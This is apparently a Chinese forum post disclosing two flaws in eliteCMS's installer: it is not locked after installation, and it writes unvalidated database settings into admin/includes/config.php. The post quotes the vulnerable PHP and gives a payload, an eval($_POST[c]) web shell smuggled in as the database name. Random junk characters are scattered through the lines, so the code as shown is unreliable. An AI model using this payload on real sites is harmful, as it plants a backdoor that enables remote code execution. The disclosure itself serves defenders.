eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

+ @9 j+ \0 J6 t- h另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
0 k4 A' I8 z% I6 X# Z我们来看代码：

# V% R. x) G: a...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
    $write = "<?php\n";
4 i. O5 f; ]" \3 ^" S; a    $write .= "/**\n";
0 }+ w8 s- }( L" \  z/ T; h    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
* N; k+ @+ f2 E6 q...略...
    $write .= "*\n";
3 n0 Z5 o- l' Y1 `2 o7 M; ~    $write .= "*/\n";
    $write .= "\n";
% L4 q, i1 m+ Y7 T7 M    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
5 W( ?; k9 B$ k/ ~  `    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
( Z# m+ A. j: Y8 |; o( Q5 m5 N    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
" f9 A1 {$ H+ K0 J7 Y# S    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
$ p6 E+ ?* G9 l5 V( \) U3 q    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
* [6 j! V; g/ I5 }    $write .= "?>\n";
5 a1 q# I8 q. x9 i
* I; V+ E' _/ G" Q    $writer = fopen($file, 'w');
/ w9 k* i. D/ ?& J...

在看代码：
7 ]0 b/ P: \# D' D4 h# K0 P1 _
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
7 F0 j. d4 m2 L6 B5 {& X% N$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
+ t" K' O+ J9 ^# x& K如果将数据库名POST数据：
4 T& d9 T: {+ z. S
4 B. ^, {8 V4 G7 H2 R6 c: p"?><?php eval($_POST[c]);?><?php

  Q( t' P# F' Y+ k将导致一句话后门写入/admin/includes/config.php